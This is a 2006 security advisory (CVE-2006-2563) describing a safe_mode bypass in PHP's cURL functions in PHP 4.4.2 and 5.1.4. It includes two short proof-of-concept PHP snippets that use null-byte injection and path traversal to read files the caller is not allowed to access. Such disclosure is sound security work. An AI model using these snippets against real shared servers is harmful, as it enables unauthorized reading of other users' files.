cURL Safe Mode Bypass PHP 4.4.2 and 5.1.4

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[cURL Safe Mode Bypass PHP 4.4.2 and 5.1.4]

Author: Maksymilian Arciemowicz (cXIb8O3)
Date:

• -Written: 15.5.2006

• -Public: 27.5.2006
  from SECURITYREASON.COM
  CVE-2006-2563

• — 0.Description —
  PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with
  a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers
  to write dynamically generated pages quickly.

A nice introduction to PHP by Stig Sather Bakken can be found at
http://www.zend.com/zend/art/intro.php on the Zend website. Also, much of the PHP Conference Material
is freely available.

The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally
incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server
and OS levels aren't very realistic, many people, especially ISP's, use safe mode for now.

PHP supports libcurl, a library created by Daniel Stenberg, that allows you to connect and communicate
to many different types of servers with many different types of protocols. libcurl currently supports
the http, https, ftp, gopher, telnet, dict, file, and ldap protocols. libcurl also supports HTTPS
certificates, HTTP POST, HTTP PUT, FTP uploading (this can also be done with PHP's ftp extension), HTTP
form based upload, proxies, cookies, and user+password authentication.
These functions have been added in PHP 4.0.2.

• — 1. Safe Mode Bypass in cURL—
  General problem exists in cURL functions, because are changed safe_mode, strings 0 (\x00) are change
  to "_". Next bug exists in prefix file://, becaluse safe_mode checks only path at file:///.

Example:

• -Safe_Mode bypass exploit.1—
  <?
  $ch = curl_init("file://filethatyoudonthaveaccessto.php\x00".FILE);
  curl_exec($ch);
  var_dump(curl_exec($ch));
  ?>
• -Safe_Mode bypass exploit.1—

Safe_mode checks only access only to FILE. But cURL include filethatyoudonthaveaccessto.php. So
you can include any files from directory where script is.
But in this exploit, you can only read files from directory where is this script. You can't use "/".

There is another conception for an exploit: if you have an access to a directory (rights) where you
want to read files. So, if you want to include files from
"/home/czarnobyl/www/directoryWITHyourRIGHT/fileFROManotherUSER.php",
you should make a dir like
"/home/czarnobyl/www/directoryWITHyourRIGHT/fileFROManotherUSER.php_/":

• -Safe_Mode bypass exploit.2—
  <?
  $ch =
  curl_init("file:///home/czarnobyl/www/directoryWITHyourRIGHT/fileFROManotherUSER.php\x00/…/…/…/…/…/…/…/…/…/…/…/…/".FILE);
  curl_exec($ch);
  var_dump(curl_exec($ch));
  ?>
• -Safe_Mode bypass exploit.2—

Safe mode checks access to file
"file:///home/czarnobyl/www/directoryWITHyourRIGHT/fileFROManotherUSER.php_/…/…/…/…/…/…/YourFile.php"

And cURL include only
"file:///home/czarnobyl/www/directoryWITHyourRIGHT/fileFROManotherUSER.php"

because \x00 are ending path to file.

• — 2. How to fix —
  CVS
  http://cvs.php.net/viewcvs.cgi/php-src/ext/curl/

• — 3. Greets —

For: sp3x
and
p_e_a, l5x, Infospec, pi3, eax

• — 4. Contact —
  Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
  Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
  GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
  SecurityReason.Com
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